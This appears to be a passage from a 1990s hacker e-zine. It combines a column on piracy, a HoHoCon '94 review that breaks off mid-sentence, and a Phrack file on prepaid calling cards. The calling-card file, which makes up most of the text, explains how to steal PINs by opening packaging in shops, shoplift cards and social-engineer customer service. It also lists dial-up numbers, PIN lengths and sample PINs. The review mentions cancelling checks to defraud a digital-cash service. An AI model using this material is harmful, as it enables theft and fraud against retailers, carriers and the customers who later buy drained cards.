had tried and failed to become part of the elite during HoHoCon, it was easy for me to work myself into a morally superior position from which to write this column. All I had really seen were a bunch of kids: wannabe's, cyber‑groupies and counterculture alternatives to life‑as‑we‑know‑it, celebrating the triumph of crooks and petty thieves over legitimate big business and big government. But something bothered me about that safe, smug position, and the more I thought about it the more it irked.

For one thing, something was missing. If they were criminals, where was the loot? Where were the Benz and BMW's that

should have been in the parking lot? Where were all the fancy wimminz that follow fast money? Software prices are high these days, so even if they were only getting a dime on the dollar for their WaReZ, there should have been some real high‑rollers strutting their stuff.

A reformed phreaker gave me some input on this. He said it was about collecting a complete set, like trading baseball cards, not about making money. The software itself wasn't important.

Having it in your collection was the important thing. Tagging in cyberspace. Making a mark by having one of everything. But

still, it's illegal. Against the law, whether for profit or not.

The news background as I write this story is about Microsoft,

king of the PC software hill. The judge reviewing the Consent Decree negotiated between the Department of Justice and

Microsoft is angry with the lawyers from Redmond. He tells them that he can't believe them any longer. They testified in September that Microsoft did not engage in marketing

vaporware, which is an old IBM tactic of hurting the sales of a competitor's product by promising they would have one just like it, and better, real soon now.

The judge has before him internal Microsoft documents which indicate that the employee who came up with the idea of using vaporware to combat new products from Borland was given the highest possible ranking in his evaluation. The tactic apparently worked to perfection. The suits have now told the judge it wasn't vaporware, because Microsoft was actually working on such a product. The judge is not amused. Are these crimes, this dishonesty, somehow more acceptable because they are done

for profit by an industry giant? Because they're done by

business men in suits instead of punk kids in jeans?

How about Ross Perot's old company, EDS. Have the once

proud men and women of the red (tie), white (shirt), and blue (suit) drifted astray since the days when 'the little guy' insisted that not even a hint of impropriety was acceptable? The state employee that negotiated and signed the contract with EDS that brought me to Austin in 1990 to install the statewide USAS accounting system for the State Comptrollers Office was hired by EDS as a 'special consultant' in 1992. Hint of impropriety? This was shouted from the roof‑tops. EDS bought a full‑page ad in the Austin American‑Statesman to make sure that all the other bureaucrats in state government got the message.

What about the cops? The federal storm‑troopers who

conducted the raids around town at the time of the Steve Jackson affair. The judge at that trial had dressed down the agent in charge like he was talking to a teenage bully who had been

busted for taking candy from the other kids. No wonder the EFF (Electronic Frontier Foundation) is so popular. It's the ACLU of the 90's and the uncharted terrain of cyber‑space.

Finally, how about me. I have the illegal software on my PC. It's a copy of Personal Editor II that I've had forever. When I

worked at EDS I once had to code 250,000 lines of COBOL

using EDLIN. In those days, management didn't think PC's were anything but toys and they would be damned before they spent

any money buying editors to write software for them. Out of that ordeal came an abiding disdain for EDLIN and my own copy of

PE II. I'm not sure where I got it. It was a legal copy at one time, though I'm not sure whose it was. When I transferred to Washington, D.C. in 1987, I took it with me. I moved it from my XT, to my AT, to my 386SX. Now it's own my 486DX2/50. I had

a copy of it on every computer I used at work. I used it for everything I coded, for all the notes I wrote.

These days I don't go into DOS unless I want to hear the guns

fire in Doom II. OS/2 comes with TEDIT, which looks enough

like an updated version of PE II to make me feel guilty every

time I see it. But I haven't taken the time to learn how to use this legal editor. My taboo copy of PE II is much too comfortable.

So who are the good guys and who are the bad? The suits who

steal and bribe and leverage from within the system? The

arrogant thugs with badges? The punks with body‑piercings?

Or an old phart like me, with illegal software on my own PC?

Heady questions for sure. I thought I knew the answer when I started this column, now I'm not so sure. I can't condone the theft of goods or services no matter how altruistic or noble the cause, or how badly some noses need to be tweaked, or how ignoble

some agents of law enforcement.

I think it would be my style to point a finger first at the suits, then at the kids. But as long as I'm using stolen software, or 'evaluating' shareware long after the trial period is over, I don't have to go very far should I get the urge to set something right.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ho Ho Con '94 Review

by Onkel Dittmeyer (onkeld@netcom.com)

" If I would arrest you, you would really be under arrest, as I am a real officer that can actually arrest people who are under arrest when I arrest them. "

‑ Austin Cop, HoHoCon '94

For those who missed it, dissed it or were afraid to go, here comes my very personal impression on HoHoCon 1994...flames: /dev/null.

Drunkfux did it again. K0de‑kiddiez, WaReZ‑whiners, UNIX‑users, DOS destroyers, linux lunatics ‑ all of them found their way to the Ramada South Inn in Austin, Texas to indulge in a weekend of excessive abuse of information equipment and controlled substances under supervision of the usual array of ph3dz, narqz, local authorities, mall cops and this time ‑ oh yes! ‑ scantily clad Mexican nationals without green cards in charge of hotel security. Tracy Lords, however, did NOT show up.

(I want my money back.)

Well.

When I walked into the hotel, I noticed a large handwritten poster that Novocaine put up in the lobby, marking his room as a "hospitality suite" for those who already made it to Austin Thursday night. I ditched my bags into my room and went up to the fifth floor to see what was going on, and who was already there. Grayareas, Novocaine, Eclipse, Dead Vegetable and a bunch of unidentified people were lingering around a table that was cluttered with all kinds of underground mags (from 2600 to Hack‑Tic), some reading, some making up new conspiracy theories. Everybody took a good whiff of Austin air and prepared themselves for the action to come. Later that night, I took Commander Crash for a walk around the hotel to see how well they did their homework. The rumor was that the hotel had been notified, as well as all local computer‑oriented businesses, that the haqrz were in the neighborhood.. and it looked like it was telling the truth. We found not a single door unlocked, not one phone interface un‑secured. Somebody closed all the security h0lez in advance, therefore hacking the hotel looked pointless and lame. Everybody crashed out, eventually. For most, it was the last sleep they would get for the new year's weekend.

Noon the next day, I awoke to find the lobby crawling with people, and ran into some familiar faces. Like last year, most of the lobby‑ists were playing with hand‑held scanners. The National Weather service was soon declared The Official HoHoConFrequency, and was ‑ in old fashion ‑ blaring through all hallways and lounges of the site. At least, nobody could claim they didn't know it was going to rain...

Commander Crash approached me in the early afternoon. "Dude, " he said, "I think I've got a bug on my scanner..". We went hunting around the hotel with a signal‑strength‑indicator‑equipped eleet scanner to see if we could locate the little bastard. We couldn't. Disappointed, we asked some cDc guys to help us look, and soon we walked up and down the hallways in a mob of approximately fifteen to twenty people. An "undercover" hotel security guard, clad in a "beefy look" muscle‑shirt that revealed some badly‑sketched tattoos walked up and advised us to "get our asses back to our rooms". "If there is a bug in this hotel, it is there for a reason. Therefore, don't mess with it." I asked him if we were grounded or something. He was kindly ignored for the rest of the night. As the mob settled into the check‑in lounge, I noticed about half a dozen new security guards who were hired to enforce Law & Order and just received an extra briefing from the hotel manager in a back room. An Austin cop proceeded giving each one of them an extra pair of handcuffs. Somebody exclaimed "My Lord, it's gonna be bondage‑con!", which caused me to spray my soda over an unsuspecting warez d00d. He called me a "LaMeR" and chased me back to my room where I peacefully lost consciousness.

The next morning, I awoke late while the actual con was already in full swing. I pumped myself back into reality with a handful of Maximum Strength Vivarine(TM) (thank god for small favors) and moved my not‑too‑pleasant‑smelling likeness into the con room, where Douglas Barnes was in the middle of a rant on basic encryption. Very basic, so to speak. Maybe because, like he said, he did not know "how to address such a diverse audience consisting of hackers, security professionals and federal agents". Hmpf! You fill in the blanks. Next up was Jeremy Porter, going into the details of available digital cash systems, and repeatedly pointing out how easy you can scam over NetCash by faxing them a check and then cancelling it out after you got your digicash string in the (e‑) mail. Up next, Jim McCoy gave a talk on underground networking, a concept that enables you to run a totally transparent and invisible network over an existing one like the Internet. Very much like the firewall at whitehouse.gov..

Damien Thorn was next, starting with some video footage he taped off a news station where he is interviewed on cellular fraud through cloning. He also showed off a nice video clip that showed him playing around with ESN grabbers an other quite k‑rad equipment. Ironically, he chose "21st Century Digital Boy" from Bad Religion as the underlying soundtrack. That reeks of pure K‑RaDiCaLnEsS, doesn't it? When dFx came back to the mike, about 400 ranting and raving haqrz demanded for the raffle to finally start, and the k‑g0d (who wore a pair of weird, green, pointed artfag boots) gave in. In the next thirty minutes or so, a lot of eleet things found new owners like hard drives, keyboards, twelve hour well‑edited hotel porno videos, HoHoCon videos, back issues of 2600 and TAP, a whole lot of HOPE t‑shirts, a Southwestern Bell payphone booth, CO manuals and other dumpster‑diving loot, AT&T Gift Certificates, an eleet 600 bps modem, and lots of other more or less useful gadgets. Dead Vegetable repeatedly insisted that he was not giving up the 35‑pound "Mr. T." head he brought, which was made of solid concrete and hand‑painted. "No, it's a Mr‑T‑Phone, you can pick up the mohawk and talk!"

Back out in the lobby, I ran into erikb and chatted briefly about some other Europeans we both knew (Hi 7up..).. On the way up to my room, I stopped at the 2nd floor lobby to mock somebody for cigarettes. Well, see, I don't have anything against a huge flock of ph3dz taking up the whole lobby, but if not a single one of them smokes, let alone has a ciggy to spare, it pisses the fuck out of me. Back down, I crammed some fliers into my bag (Buy HoHoCon videos/TAP issues/2600 subscriptions and other sellout), chatted with Ophie and a couple of other IRC babes (a lot of females at the con this year, if this trends keeps up, it will look like a Ricky Lake show at next year's HoHoCon) and retreated back to my room to secure all the nifty things I won at the raffle (a book of TAP issues,

a 2600 issue, two t‑ shirts, an acoustic coupler.. dFx looked quite pissed).

Back down, everybody that had something to sell had opened up shop. dFx was selling last years "I LOVE FEDS/WAREZ" tee‑shirts plus a new stack of the elusive "I LOVE COPS" baseball caps, who came in four different spanking colors this year. The embroidered logo is the clincher. I can just recommend everyone who did not get one yet to get their hands on one of these (no, I am not receiving any ca$h for this). Netta Gilboa was auctioning off some back issues of Gray Areas, and cDc sold everything from sizzling "Cult of the Dead C0w" shirts and hats to "Please do not eat kids" stickers, cable TV descramblers and DTMF decoders while happily zonking away on an old Atari 7800 video game. While browsing through the merchandise, I ran into a guy with a shirt that said "I quit hacking, phreaking, k0dez and warez.....it was the worst 15 minutes of my life." Now THAT

would have been something to bring home! I blew my excess money on some less original shirts and visited Room 518, where a bunch of dedicated people had set up a Net connection and public‑access terminals. Some of the TTYs definitely looked like something you would find if you decided to take a walk around the desolate offices of your local CO at night..

Midnight drew closer. When the new year came around, I was quite shocked. "Hey d00dZ! Happy New Year!" ‑ "Shut Up! I am about to get op on #warez2!" What a festive mood. After midnight, everybody pretty much retreated into a room with a fair quantity of their favorite narcotic substance (the 4th floor was filled with an ubiquitous pot smell, despite of the alarming presence of suits who were talking into

An Overview of Prepaid Calling Cards

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 13 of 22

Final : [o2/xx]

/\/\/\/\/\/\/\/\/\/\/\/

.xX‑ | ‑ An Overview Of Prepaid Calling Cards ‑ | ‑Xx.

\/\/\/\/\/\/\/\/\/\/\/\

'95 ‑ Second Update ‑ '95

‑ Second ‑BTR‑ Release ‑ First ‑PAiN‑ Pak Release ‑

(c) 1995 Treason [518]

by

treason@fpg.gcomm.com

‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ .

With A Special Thanks Going Out To Al K. Lloyd [4o4] My Partner In Krime In The PCC World

‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ .

And Another Thanks Out To Me Bud Antediluvian [4o4] For Enjoying PCCs And Knowing Some Too

‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ . ‑ ‑ .

In the past few months or so I have noticed that most places are hopping on the Prepaid Calling‑Card (PCC for short) bandwagon. PCCs are a cheap alternative to normal long distance. (Or are supposed to be.) For all of you that don't have any idea what a PCC is or how it works, here's the full info:

Prepaid Calling‑Cards are cards shaped like normal calling cards and look exactly like them. On their back, all PCCs have a 800 dialup, a 9‑12 digit code (give or take a few digits) and a customer service number to report trouble. All of these are sold in such a fashion that nosy phreaks can't just read the backs and call the dialup and use it, without buying them.

PCCs almost always have calling limits. Most available in the US are only good within the US or US territories. With certain cards, you have the option to dial international but this will give you about 1‑2 minutes of actual usage on a 10 minute card, so I don't recommend calling Int'l with these. There are a few more restrictions blocking calls to any SAC. (Special Area Code, like 700, 800, 900) Domestic dialing is about all you can do and still get your money's worth. To sum it up, a PCC has a slotted amount of time or dollar amount to use. As far as getting a good deal goes, you can't: you break even, or you get ripped off.

PCC's are very easy to find. They tend to turn up in the oddest places. You don't even have to look hard; they just pop out with banners, signs and other various ads, so they are not hard to find. Some places where I have found them are: most grocery stores, some Toy Stores, Greeting Card Shops, Quickee Marts, in packs of Sports cards and even at Sporting good stores.

I thought this would be a particularly useful topic to write about due to the fact anybody can benefit from these. However, I'm not talking about going to the store and buying them. It doesn't take a genius to figure out what to do with them. They run a very simple system so anybody can use it. (I mean, how hard is it to enter your digits when instructed?)

Most of these cards are basically copycats of each other. They all have some deal with a big long distance company. After you enter the valid number they tell you how much time is left on you card. They all have an operator that comes on just to tell you when 1 minute is left on your card. (BTW, that fucks up any modem connection). Plus, all of these services run 800 numbers and are open 24 hours a day, 7 days a week. Last but not least, these don't show up on your phone bill.

Some people are set on never using stolen codes. (*cough*Emmanuel* Goldstein*cough*cough) But this is different since you're not really stealing from any person by taking these. You are not putting some middle‑class people from the Burbs out $20,000 like an abused calling card that was passed around could. So it's really not bad; besides, everybody's doing it!

Hack 'em, Crack 'em, LD Pack 'em. Steal 'em, Deal 'em, Conceal 'em.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

There's a new company called Talk 'N Toss. They are offering a huge variety of PCCs to chain stores that would buy a large amount for their numerous stores. Once a large company buys into this, they get set lines to use for their card. Then they customize them for their company name and plugs. I have seen Talk 'N Toss (TNT) sell 5, 10, 20, 30, 50, 80, 90 and 180 minute cards. If you get a 90 minute card (or longer) that's the real jackpot. 90 Minutes is the largest minute card I have ever seen them selling. If you wish to place an order to sell them at "your" business, dial their customer service hotline toll‑phree at [800] 631‑8895. Plus I'm sure you can SE the lady into getting free cards. (I've done it once so I know that it can be done.) They claim that you save up to 38% from a normal AT&T Call Card. Bullshit maybe, but who the fuck knows.

I have seen these selling only two places. The first is a grocery store in Colorado (719 NPA) called Albertson's. I don't know if this grocery store is only located in Colorado, but that's where I happened to run into it. I do not know the dialup or the proper amount of digits for this card. It only sells in intervals of 30 and 90 minutes. This is one of the few cards with which you can call international. For example, when calling international they say that $1 of what you paid is equal to 3 LD minutes, or about half a international minute...RIPOFF!

The other place I have seen TNT cards is Revco drugstore (formerly Brooks Drugs.) They have 10 minute card for $3.99 and a 20 minute card for $9.99, 30 minutes for $14.99 and finally a 90 minute phone card goes for a whopping $24.99. Deal or not? You decide. If you decide you won't pay for this crock of shit call 'em and hack 'em! At [800] 213‑0304 with 10 digit PINs for their cards. The time amount doesn't change the digit amount. They have a CS number through which you can SE employees or just complain to them at: [800] 354‑2708.

Hello Direct, the phone supplies company, is offering their version of TNT's PCC called the Prepaid Phone Card (PPC). They're identical models to the Revco TNT cards. The dialup is [800] 955‑2383 and the PINs are 9 digits. These cards are the real jackpot with 180 minute cards for $50, 80 minutes for $29 and 50 minute cards for $18. These are by far the best deals around.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Marvel Comics and Kay‑Bee have put their heads together and are now offering X‑Men PCCs. There's 2 things you can do with these cards. The first option you have is use it for 20 minutes of long distance (no international.) The second option is to play some stupid X‑Men game. The game uses 4 minutes (or units, as they call them) of your card. You start with 20 units, with each unit equivalent to 1 minute. Basically the hot idea they have to sell these is 4 different cards, each with supposedly famous X‑Men 1 on 1 battle scene. Plus they claim they are a limited edition. Yeah, they may be a limited edition but so is Phrack. They have taken a little more security than other cards by having a scratch off number on the back, so you can't just pop off the outer plastic and see the PIN. I find these to be some of my favorite PCCs to use because you have 20 minutes, which is fairly decent, plus they are easy to swipe. I just go to my Kay‑Bee toys and take a bunch to the back and open them, and either steal the card or write down the number and hide the card. In a sick way, I find writing down the number more fun because when someone finds it and thinks that they are hot shit by stealing it they'll run into a nice message saying that they have no time left and they can't do shit with it. To further experiment call [800] 616‑8883. The cards are 9 digits long.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Champs Sporting Goods Store has a new deal whereby if you purchase over $35 worth of sports shit you get a card for a free 7 minute call. Technically, it ain't free since you're buying merchandise. Seven minutes basically ain't worth your time, but if you can get it for free it's worth every minute. You can usually get some dumbass clerk to let you look at the cards because they keep them on the cash register. One lady said to me, "Now don't pocket that," as I was putting it into my pocket...oh well, dumbass. The number is [800] 437‑6404. With 9 digits for your PIN.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Randomly inserted into Classic 4‑Sport sports cards are Sprint Prepaid FoNCARDS. Classic Games have joined with Sprint for numerous deals, this being one. Classic 4‑Sport is a pack of sports cards that depict players going to the pro's next year for 4 different sports. Those sports are Baseball, Football, Basketball and Hockey. Now, what the fuck would some baseball card collector do with a Prepaid Foncard? I still haven't figured it out. But some dealers tell me it's just another marketing thing because collectors think they're a limited edition. The cards are only worth $2 of LD anyway. While the odds of finding a Sprint FoNCARD is 1:72. (Which means 1 out of every 72 packs). I know very little about this since I haven't seen much out of them. They do have a scratch off PIN on the back. To collectors, if the card has been scratched then the card looses half of it's "value." OOOOh scary.

Classic is trying to offer something to the collector again. But this time it's about real money. Not opening a $1.50 pack of cards. They're now offering 1, 5, 10, 20 and 1000 dollar cards to dealers. These are such a hot commodity that the prices double every quarter! I asked some ripoff artist what the deal was on getting the cards. He said that for a $1000 card you must pay a $750 down payment with a max order of 1. On other styles you have to order 18 cases to get them wholesale. That's 108 total cards. I'm sure you can find them singular. Try looking in your local sports page for ads for Sportscard conventions...at those you can swipe them.

To fuck around with these, call up [800] 868‑9871 with 10 digits to get a set amount of time.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) (

Sports fans listen up once again. GTE is offering 25 minute PCCs that look like actual calling cards. But with these cards you can order a PCC with a professional football team logo and helmet located on the front of it. They call these "NFL Collectables" they are called. But the minimum order is 2 cards. Plus with each order you get sent a 5 minute bonus card that features helmets from all 30 NFL teams on it. To order each card is only $14.75 but you have to get 2. Call 1‑800‑GTE‑3804 in the US. And outside the US call [303] 743‑4138, extension 712. Or just fax your order to [303] 727‑4994. You must order these with a credit card. I saw this add in Sports Illustrated.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

This next one I would call my first love because it's what directed my attention to the Prepaid Calling‑Card field.

Hallmark is also working with Sprint to rip you off for that special occasion. They started out printing normal greeting cards. (ie: Happy Birthday, Get Well, When Will You Finally Get Laid, etc...) But then they got more specific with their Christmas PCCs. Now Valentine's Day is nearing and they are selling Valentine's PCCs. All of these cards are $5.95 for the card and have 10 minutes of LD. You can call anywhere in the US and its territories (Virgin Islands, Puerto Rico), but no Int'l.

The main reason I fell in love with these is because of their mass availability. I have millions of Hallmarks in my area, and these cards are easy to get for free. These are greeting cards you just open like a normal card. They are poly‑wrapped so they think you won't see the dialup & PIN, but, DAMN, they're wrong. The card has a cheap layer of glue on the middle so if you free the card from it's gluey seal, you can pull the plastic back to reveal the dialup and PIN. I enjoy spending spare time going to Hallmark getting the PINs, leaving the card behind so I can have the joy of someone else buying the card and getting no time!!

There are 3 dialups for the 3 kinds of cards. It doesn't matter what dialup you use, all work for any card. The first is the regular greeting for the normal cards: [800] 504‑1115. For the Happy Holidays greeting, call [800] 203‑1225. The Valentine Line has a new and original message, which for the first time says Sprint before Hallmark, at [800] 214‑0214. All of these cards are 10 digits.

They have a Customer Service which is really just a branch of the large Sprint CS, at [800] 516‑2121. The last fact about the Hallmark PCCs is that their quality has become more flimsy with each new line of card. For example, the first kind was hard like a normal PCC, but now the Valentine's Day cards are shitty as hell...like a normal sheet of paper.

Hallmark also has this nifty little ANi thingee they use. The computers at Sprint know the PiN you used PLUS the number you called PLUS the number you called from. If you find a PiN just call up their Customer Service and you can find out who people called and from what number.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) (

Now we have the Pepsi‑Cola company. They are stupid asses who offer lousy service, but help hackers. They list the dialup on the back of the box! The cards are randomly inserted in Pepsi Holiday 12 Packs. Just go to any Grocery Store and open the boxes looking for the cards. This PCC would have to claim the most money spent on advertising, since it is the only one with a TV commercial. Plus the cards are only good for 5 minutes of LD, no Int'l. The dialup is [800] 929‑COLA (3642). Once you call it says, "Enter Your 14 Digit Code." That's just asking to be ripped off.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

7‑11, the slurpee guys, are now working with AT&T to bring you their 7‑11 Phone Cards. It's supposed to save 50% or more than a LD collect call or normal calling card. Obviously this is a big crock of shit. On the brochure it shows a data table comparing a 3 minute call from LA to NY. It says a 7‑11 Phone Card is $1.00, Collect Call is $3, a Payphone is $2.70, and a normal calling card is $1.70. I know when I call LD it's only like 15 cents so a minute, not this ripoff. They are available in 15, 30 or 60 minute cards. I found a nice sales pitch on the brochure. It says "After your time is used up, the card becomes inactive and you just buy a new card!" Yeah, right. With this PCC you can call Int'l. One main clue is that one side of the brochure is all in Spanish. But it says all calls must originate from within the US. (So you can't give them to your German friends and say they're real Calling Cards.) It warns you that since international rates vary a 15 minute card could only be 5 minutes. They don't actually give you that amount of time; it depends entirely on where you call. It's setup so you have a certain amount of credit and once that's used, fuck how many minutes are left...your time is up. Remember, when you want a 7‑11 card it is always best to ask for Habib‑Jabib. I don't have any further info on these cards, like dialups and shit.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Var‑Tec Telecom, (10XXX = 10811) the new baby bell out of Texas, is offering their version of PCCs called "Prepaid Phone Pass". You can dial their automated service and enter a string of numbers to order the cards. I know very little regarding this service, except you can order cards specifically for Domestic or for International calls, or both.

Their automated service number is: [800] 583‑8811. Once connected, enter this string of numbers: 6, 2 then 1 (To Talk To Consultant) or 3 (For Orders).

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

PCCs are not only for LD; some people are actually collecting them. No, not for any illegal services but as a hobby. People like them for their pretty pictures of designs or special events. People are comparing this to (*fun*) stamp and coin collecting. So if there is a demand for new styles it must be found in a catalog, and I've found that catalog...for a price:

If you wish to order a 400 card catalog for $5 from :

Lin Overholt

PO Box 8481 Madeira Beach, FL 33738

You can also purchase a publication entitled

"International Telephone Cards"

by writing to :

29/35 Manor Road Colchester, Essex CO3 3LX Great Britain

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Electronics Boutique, or EB for short, is offering PCCs with $5 worth of LD on them. Dialup is [800] 233‑1363 with 9 digits PIN. I know very, little regarding these.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Shit From Al K. Lloyd [4o4]. Slightly Modified of course.

Since I've started collecting these suckers,

here's some other prepaids for you guys (Treason)

to add to the file in BTR:

‑ AT&T/Knights Inn [800] 357‑PAID(7243) ‑ 9 digits

Customer Service is [800] 462‑1818

Glossy cardboard cards in 15 or 25 "units"

These are sold at the hotel chain

‑ PrimeCall [800] 866‑6915 ‑ 14 digits

But try starting with 407‑xxxx‑xxxx‑xxx (just a hunch) Customer service [800] 938‑4949

Card is plastic in $10 and $20‑I think only one design w/a bunch of flags on it; these guys are going for the international crowd (oddly enough, these are the only ones I've seen dispensed from a machine)

‑ Western Union [800] 374‑8686 ‑ 8 digits

These guys charges are ridiculous‑‑try them 1st...

Customer Service is [800] 374‑8686; the cards are thin cardboard to boot‑$10, $20, or $50

‑ Caber Communications [800] 868‑9871 ‑ 10 digits

Caber/Talk Lite [800] 429‑9547 ‑ 10 digits

Customer Service is [800] 716‑2444 or [404] 876‑2444 (local to me) Some of the nicest cards I've seen; $5, $10, and $20

Fairly good rates considering what there is to pick from (like Western Union)

These things keep popping up like mushrooms...

Caber's rates just look good compared to Western Union :>

Revco Talk n' Toss is the cheapest I've found so far...

only available here in 10, 30, and 100 min. To my knowledge.

Second cheapest is:

Transcommunications, Inc.

Transcard

800‑326‑4880 11 digits

800‑772‑7293 Customer Service

Cards are also available in Spanish, in $10 & $20 denominations (not marked on the card, cards can be recharged by CC @ 800‑772‑7293.)

I found this at a Conoco gas station; according to their C.S. they're also available at various truck stops, Pilots, Kangaroos, and a bunch more.

I tell ya, I run into a new one of these every time I turn around...

Al

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Regarding Caber PCCs :

Caber has sales reps that go to immigrant stores to unload the cards. They carry their inventory in business card folders that seem to carry 46 cards or so. If a folder got stolen, there is no way to tell who bought which card, unless it was a fresh folder (in which case they'd just notify the Co.).

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Caber Communications has 2 different kinds of cards, Caber and Talk Lite. I'll categorize these by line and amount. (The following are no longer valid cards.)

Caber

~~~~~

$5.00 165‑489‑4170 537‑697‑8358 912‑314‑0132 262‑820‑0154 733‑374‑4010 758‑499‑2904 143‑364‑3554 ‑‑‑‑‑‑‑‑‑‑‑$10.00 305‑323‑5850 377‑902‑5824 907‑042‑1346 602‑878‑3072 $20.00 767‑610‑2118 095‑943‑2248 448‑047‑2990 024‑530‑4614 590‑074‑9540

Talk Lite

~~~~~~~~~

$5.00 863‑406‑9186 733‑374‑4010 590‑074‑9540

$10.00 782‑512‑4340 940‑704‑3046 303‑054‑9748

$20.00 355‑227‑7378 011‑113‑5408

General Info

~~~~~~~~~~~~

I noticed some stuff in the Sunday coupon section. Some food company is giving 10 minute cards if you send in proofs of purchase; so is Polaroid (with a nifty hologram kard).

More Cards

~~~~~~~~~~

‑ Revco Talk N' Toss ‑ $?? ‑ 128‑341‑864 ‑ Dialup ‑ See Separate Review ‑ Sprint PCC's ‑ $10 ‑ 403‑398‑8344 ‑ Dialup ‑ 800‑659‑1010 ‑

[‑ You can try to find algorithms with those ‑]

Yet another:

Sprint Instant Foncard

800‑659‑1010

10 Digits

800‑366‑0707 Customer Service

Available in $5, $10, $20, and $50.

Have you noticed just how *nice and helpful* the customer service people are?

Later,

Al

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

A Post From An Unknown User in Atlanta :

As far as PCC's go, I noticed on 4 or 5 of mine that all of the numbers were divisible by 33... Maybe there's some sort of algorithm that controls the numbers on these cards. This particular case was an MCI/NBC sweepstakes, each card giving 10 minutes...

Another thing to wonder about when "carding" these cards: Sooner or later, someone must notice people carding. So, do they track these cards or anything? Or do you just have to use them short‑term, etc...? To anyone that works for a convenience store: what's the policy on stolen cards? Do you report them to AT&T or whomever as stolen? Give them numbers? And what follow up is done?

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Recently in a trip to Boston [617] I was at a magazine stand. After I put down the newest Hustler I saw a rack of brochures from a service called "Worldcall 2000 ‑ The World's Most Advanced Prepaid Telephone Service." Since I was working on this text, I thought I'd pick

it up for some info.

Their cards some in $10, $20, $30 and $50 telephone card increments. They also have service available in 10 different languages, although what languages I don't know. They have international and domestic dialing capabilities with cheap rates. Plus, they have a built in VMB with forward messaging and recharge capability. The customer service department is [800] 576‑8522.

Here's what you do: Dial [800] 576‑9959, enter the PiN, then for a domestic call, dial 1+ACN; for international dial 011+Number. If you fuck up, just hit "*" to enter another number. To make another call when you're done just hit "#". That's a rather sweet feature. (This is from AT&T.)

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Here's a first: Recently at a local book store I was reading the new issue of Fangoria. In it, I saw an add for Freddy Krueger PCCs! (you know the man...) "Bullshit," I thought. They come in 4 different cards, each with a new fun, gruesome decapitation by my man Freddy. Then the biggest bullshit of all: "Good For Making Local Calls." These cards are only available in 15 minute cards. Plus they're $14.95 + $x.xx shipping and handling. I don't know any more about them than that.

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Here's Some Stuff From Me Bud, Antediluvian [4o4]

Drug Emporium is offering a $10 card with a total value for up to 25 minutes. You can call both domestic and international. The number is: [800] 866‑7495. One that I have already used is 2105‑253‑835, therefore they are 10 digits.

I hear that Taco Bell has some awesome prepaids too. I'll look into that for you. Also a friend of mine, ViRuS?, (with the question mark) who runs DCi has an algorithm for a prepaid, TLI or something like that... I have to deliver some files to him so I'll ask about it.

Ante

( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )

Here is a list of the numbers I went over and a brief note on each one. (Listed in order from least amount of digits to highest.)

Systems

~~~~~~~

Pepsi [800] 929‑CoLA ‑ 14 Digits

PrimeCall [800] 866‑6915 ‑ 14 Digits

Transcard [800] 326‑4880 ‑ 11 Digits

Sprint Instant Foncard [800] 659‑1010 ‑ 10 Digits

Caber Communications [800] 868‑9871 ‑ 10 Digits

Caber/Talk Lite [800] 429‑9547 ‑ 10 Digits

Talk n Toss/Revco Cards [800] 213‑0304 ‑ 10 Digits

Champs Sporting Goods [800] 437‑6404 ‑ 10 Digits Hallmark/Sprint [800] 504‑1115 ‑ 10 Digits Hallmark/Sprint/Holidays [800] 203‑1225 ‑ 10 Digits Hallmark/Sprint/Valentines [800] 214‑0214 ‑ 10 Digits

Classic Games [800] 868‑9871 ‑ 10 Digits

Drug Emporium [800] 866‑7495 ‑ 10 Digits

AT&T/Knights Inn [800] 357‑PAiD ‑ 9 Digits

Electronic Boutiques [800] 233‑1363 ‑ 9 Digits

X‑Men/Kay Bee Toys [800] 616‑8883 ‑ 9 Digits

Talk n Toss/Hello Direct [800] 955‑2383 ‑ 9 Digits

Western Union [800] 374‑8686 ‑ 8 Digits

WorldCall 2000 [800] 576‑9959 ‑ ? Digits

Other

~~~~~

Ordering GTE Football Cards [800] GTE‑3804 ‑ Ordering GTE Football Cards Ordering GTE In 303 NPA [303] 743‑4138 ‑ See Up + From Outside US Ordering GTE In 303 NPA Fax [303] 727‑4994 ‑ Faxing Orders For GTE Footballs Talk n Toss/Revco/CS [800] 354‑2708 ‑ Customer Service Talk n Toss Customer Service [800] 631‑8895 ‑ Ordering Bulk Var‑Tec Telecom [800] 583‑8111 ‑ Ordering Prepaid Phone Pass Caber Customer Service [800] 716‑2444 ‑ Customer Service Caber Customer Service [404] 876‑2444 ‑ Customer Service Primecall Customer Service [800] 938‑4949 ‑ Customer Service Western Union CS [800] 374‑8686 ‑ Customer Service

